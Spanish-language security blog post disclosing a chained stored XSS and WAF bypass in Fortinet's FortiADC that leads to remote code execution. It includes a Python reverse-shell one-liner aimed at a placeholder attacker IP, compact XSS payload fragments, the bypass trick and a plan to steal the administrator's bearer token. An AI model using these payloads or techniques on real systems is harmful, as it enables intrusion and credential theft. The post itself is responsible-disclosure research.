Vivir fuera de la página web: XSS Persistente a RCE en FortiADC

Blog de Almas Zhurtanov, Especialista Senior en Seguridad y Tom Tervoort, Especialista Principal en Seguridad

En este artículo, nuestros expertos en seguridad Tom y Almas explican cómo consiguieron eludir las defensas del lado del cliente y del servidor en FortiADC, y convertir un XSS supuestamente inofensivo en RCE utilizando de forma óptima un espacio de carga útil extremadamente restringido.

El mes pasado, Fortinet parcheó un XSS persistente y una vulnerabilidad de elusión de WAF en el Fortinet Application Delivery Controller. Esta vulnerabilidad permitía a un atacante remoto no autenticado realizar un ataque cross site scripting (XSS) almacenado a través de campos HTTP en vistas de registro de eventos.

Aunque el descubrimiento de la vulnerabilidad XSS por sí mismo no es tan interesante, las medidas defensivas implementadas aumentaron significativamente la complejidad del exploit. Esto convierte a este XSS en un buen caso de estudio sobre cómo eludir las defensas tanto del lado del cliente como del servidor.

Fortinet Logo 1200px

Productos afectados:

  • FortiADC versión 7.0.0 a 7.0.2
  • FortiADC versión 6.2.0 a 6.2.3


Avisos de Fortinet:

  • https://www.fortiguard.com/psi... (CVE-2022-38374)
  • https://www.fortiguard.com/psi... (CVE-2022-38381)

Visión general del producto y descubrimiento inicial

Tras la visión general de los productos elegibles para una investigación de vulnerabilidades, el equipo seleccionó Fortinet Application Delivery Controller (FortiADC) como tema a investigar. La decisión se basó en el hecho de que el producto tenía un gran número de componentes complejos, lo que significaba que la superficie de ataque también era bastante grande, y que había disponible una versión de prueba de 30 días en AWS Marketplace. Según Fortinet

"FortiADC es un Controlador de Entrega de Aplicaciones (ADC) avanzado que garantiza la disponibilidad de las aplicaciones, la seguridad de las aplicaciones y la optimización de las aplicaciones.
FortiADC incluye aceleración de aplicaciones, WAF, IPS, SSLi, equilibrio de carga de enlaces y autenticación de usuarios en una única solución para ofrecer disponibilidad, rendimiento y seguridad en una única licencia con todo incluido."
Fortinet 1

Tras desplegar una instancia del producto, se analizaron sus componentes. Una de las primeras cosas que se identificó fue la denominada funcionalidad "AWS Scripting" que permite a un administrador realizar ciertas tareas de gestión cargando scripts Python y ejecutándolos:

"FortiADC proporciona el método para ejecutar cualquier API de AWS para los usuarios - Los usuarios pueden subir scripts Python a FortiADC (sistema > página AWS Scripting) con la configuración del grupo de tráfico y ejecutar el script en el FortiADC al que pertenezca su grupo de tráfico."

En otras palabras, esto significa que se permite a los usuarios ejecutar scripts Python arbitrarios en el servidor de aplicaciones. ¿Qué puede salir mal? Se puede abusar de esta funcionalidad cargando y ejecutando el siguiente script para generar un shell inverso en una máquina controlada por un atacante.

import os; os.system("bash -i >y /dev/tcp/<atacante-ip>/<puerto> 0>y1") 

Se decidió no informar de este problema al proveedor, ya que formaba parte de la funcionalidad prevista a disposición del administrador, y se previó que el proveedor no lo consideraría una vulnerabilidad de seguridad. No obstante, dado que se comprobó que la interfaz de gestión SSH de FortiADC era bastante restringida y sólo proporcionaba una forma de interactuar con determinados componentes de la aplicación, obtener acceso al sistema operativo podría facilitar el análisis posterior de la aplicación. También cabe mencionar que la aplicación out-of-the-box se ejecuta como usuario root.

Conseguir la ejecución remota de comandos suele considerarse una joya de la corona cuando se trata de investigar vulnerabilidades. Por lo tanto, se intentó identificar formas de activarla desde la perspectiva de usuarios no autenticados. Sin embargo, dado que no se identificaron problemas de autenticación o autorización, se decidió pasar de atacar la propia interfaz de gestión a identificar fallos en la forma en que FortiADC gestiona las solicitudes a los recursos detrás del equilibrador de carga y el cortafuegos de aplicaciones web (WAF). Para ello, se desplegó por separado un servidor web sencillo y se configuró para que fuera gestionado por el equilibrador de carga FortiADC integrado. El componente WAF también se habilitó para el grupo de equilibrio de carga correspondiente. Se desplegó una aplicación web sencilla en el servidor web detrás del equilibrador de carga que sólo reflejaba los parámetros enviados con las solicitudes entrantes.

Fortinet 2

Pronto se identificó que el componente WAF bloqueaba eficazmente algunas de las cargas útiles maliciosas básicas que se probaron.

Fortinet 3

La inspección de la funcionalidad "Registro e informe" de FortiADC reveló que registra todas las solicitudes entrantes y el tráfico tanto a la interfaz de gestión como a cualquier recurso gestionado por FortiADC, así como algunos eventos relacionados con la seguridad, y los analiza en vistas de tablas legibles por humanos.

Fortinet 4

Un rápido fuzzing ayudó a identificar la presencia de una vulnerabilidad XSS en los campos de esas tablas. El campo resaltado en la captura de pantalla siguiente ilustra que era posible inyectar una etiqueta de texto en negrita (<b>)

Fortinet 5

Limitaciones

Rápidamente nos dimos cuenta de que explotar esta vulnerabilidad XSS se complicaba por el hecho de que las entradas de la tabla sólo podían tener una longitud limitada y todo lo que había después del decimoquinto carácter se recortaba al final. En circunstancias normales, esto podría eludirse utilizando, por ejemplo, nombres DNS cortos para extraer código adicional del recurso controlado por el atacante. Sin embargo, esto no era posible debido a la restrictiva Política de Seguridad de Contenidos (CSP) que bloqueaba cualquier contenido procedente de dominios de terceros.

Content-Security-Policy: default-src 'self'; style-src 'unsafe-inline' 'self'; script-src 'self' 'unsafe-eval' 'unsafe-inline'

Poco después se identificó otro fallo menor, pero útil. Una versión sin minificar del archivo JavaScript de la aplicación estaba disponible en https://application-base/ui/js/all.js. La revisión del código confirmó que los datos de los campos estaban efectivamente recortados, pero también reveló que las tablas se basan en la biblioteca DataTables (http://datatables.net).

Fortinet 7
Fortinet 8

Combinadas, las siguientes restricciones se interpusieron en el camino para explotar esta vulnerabilidad XSS:

  • 15 caracteres por entrada de tabla.
  • 10 entradas por página.
  • Cada entrada se evalúa por separado, ya que la aplicación añade automáticamente etiquetas de cierre.
  • Esto significa que no es posible abrir una etiqueta en el primer raw, cerrarla en el último raw y colocar la carga útil en medio. Cada entrada tiene que empezar con una etiqueta.
  • Esto da como resultado 150 caracteres por página para la carga útil, que es lo suficientemente grande como para encontrar una solución.


Sin embargo, para lograr la ejecución del código es necesario añadir etiquetas. La etiqueta más pequeña tendría al menos 3 caracteres, mientras que la etiqueta <script> tiene 8 caracteres. Esto significa que hay que dedicar entre 30 y 80 caracteres sólo a las etiquetas. Siendo realistas, sólo la etiqueta <script> puede utilizarse para hacer que el XSS haga algo útil debido a las restricciones de tamaño de la carga útil. Para aclarar, hay por supuesto muchas otras formas alternativas de ejecutar código, pero ocupan mucho más espacio. Esto deja sólo 70 caracteres para la carga útil. Además, es importante que cada entrada sea una declaración Javascript/HTML válida y completa debido a que las etiquetas se cierran automáticamente al final de la entrada. Esto significa que la restricción de longitud no es realmente de 70 caracteres, sino de 10 declaraciones separadas con 7 caracteres como máximo cada una. La restricción CSP no permite cargar scripts externos, por lo que sólo es posible ejecutar código que ya esté presente en la página web.


Elusión de WAF (CVE-2022-38381)

La única forma de avanzar en estas circunstancias era encontrar otro campo más grande vulnerable a XSS, o encontrar una carga útil lo suficientemente pequeña como para lograr el resultado deseado. Para encontrar un campo menos restringido svulnerable al XSS, analizamos qué campos controlados por el usuario eran también vulnerables. Las entradas de las filas podían ampliarse para mostrar más detalles sobre la entrada. Los datos del registro completo tenían el siguiente aspecto.

Fortinet 9

Los parámetros ilustrados en la captura de pantalla anterior fueron fuzzed y eso condujo a un resultado inesperado. Resultó que cuando la versión del protocolo (HTTP/1.1) no estaba presente en la primera línea de una solicitud, el equilibrador de carga reenviaba la solicitud al host de destino, mientras que el WAF la ignoraba. Esto se ilustra en las capturas de pantalla siguientes.

Fortinet 10

Cuando falta la versión del protocolo, la solicitud se reenvía al host de destino con el estado 200 OK sin activar el WAF.

Fortinet 11
Fortinet 12

Este problema se aborda en la versión más reciente de FortiADC.

Explotación de XSS persistente (CVE-2022-38374)

Pronto se descubrió que ningún otro lugar, aparte de las entradas de la tabla de registro, era vulnerable. Esto significaba que la única forma de explotar el XSS era idear la carga útil que fuera lo suficientemente pequeña y a la vez lo suficientemente compleja como para hacer algo útil.

Después de una lluvia de ideas, se decidió proceder de la siguiente manera:

Sería posible encajar en las restricciones de caracteres una declaración de la función que haría clic en el botón de la página Siguiente. Esto daría 10 entradas más con las que trabajar y una llamada a una función ya definida ocuparía sólo 1 entrada para ir a la página siguiente si fuera necesario.

Encuentre otro parámetro controlado por el usuario reflejado en la página para contener la carga útil. No tiene por qué ser vulnerable al XSS.

Defina una función para recuperar la carga útil y ejecutarla.

Para demostrar el impacto, la carga útil final debería robar el token de portador del administrador y enviar la solicitud para cargar y ejecutar un script de Python (por ejemplo, el ejemplo de shell inverso incluido anteriormente), consiguiendo así la deseada Ejecución Remota de Comandos.

Fortinet 13

Una limitación adicional a la que se enfrentó en esta fase: Las tablas de datos se cargaban antes en el proceso que los botones de paginación de las tablas. Por lo tanto, era necesario utilizar una carga útil que se ejecutara sólo después de que la página estuviera completamente cargada. Esto limitaba considerablemente la libertad de elección, ya que la forma más corta de conseguirlo era utilizar la función de guión bajo (_) y, junto con las etiquetas de script, daba como resultado una carga útil de 30 caracteres de longitud.

_.delay(_=>$('.next').click())

Otra solución que permitía acceder a las etiquetas sin gastar 8 caracteres para la etiqueta <script> era utilizar el selector JQuery que ya estaba cargado en la página para acceder a los elementos de la página por sus nombres.

$('ext').text()

De este modo, dividiendo la función de retardo en tres líneas con la etiqueta <ext> y ejecutando a continuación el código anterior se iteraría efectivamente a la página siguiente. El único problema en este punto era encajar la función eval en las líneas restantes. Esta es la razón por la que se utilizó la etiqueta <ext>. La idea era hacer que la carga útil ocupara el menor espacio posible. Observe que las letras 'ext' se utilizan tanto para construir la palabra "text "como para acceder al contenido de la etiqueta, lo que permite reutilizar una única variable en dos lugares.

El resultado fue la siguiente carga útil, que ilustra esquemáticamente el aspecto que tendrá en la DataTable.

Fortinet 14

Esto se traduce en el siguiente código

x=$('ext').text() e=eval e(e(x))

Y el contenido de las etiquetas <ext> que contienen la función de retardo para pulsar el botón "Siguiente" se proporcionó anteriormente.

La carga útil colocada en las páginas de registro Siguiente utiliza la misma técnica para almacenar la estructura DataTables en una variable y luego acceder a su contenido y evaluarlo. Uno de los campos que pueden utilizarse para entregar la carga útil de la segunda etapa (principal) es "Consulta HTTP", que contiene cualquier dato enviado en un parámetro de consulta GET. Todavía tiene algunas limitaciones de tamaño y no puede caber toda la carga útil restante, sin embargo, puede contener al menos 400 caracteres y, dado que hay 10 entradas de este tipo en una sola página, este espacio es más que suficiente para cargar el script, activar el RCE y obtener una shell inversa. Dado que esta carga útil se transmite como un parámetro de consulta GET, es necesario codificarla en base64 antes de la transmisión y decodificarla de nuevo antes de la ejecución.

Fortinet

El código completo del exploit puede encontrarse aquí: https: //github.com/azhurtanov/CVE-2022-38374

El problema se ha solucionado en la última versión de FortiADC.


Cronología

Abril de 2022 - vulnerabilidades identificadas

Junio de 2022 - vulnerabilidades reveladas a FortiNet bajo divulgación responsable

Junio de 2022 - vulnerabilidades reconocidas por el proveedor

Agosto de 2022 - vulnerabilidades corregidas

Octubre de 2022 - publicación del aviso

Si tiene alguna pregunta y/o desea ponerse en contacto con los autores del blog, Contáctenos en cybersecurity@bureauveritas.com.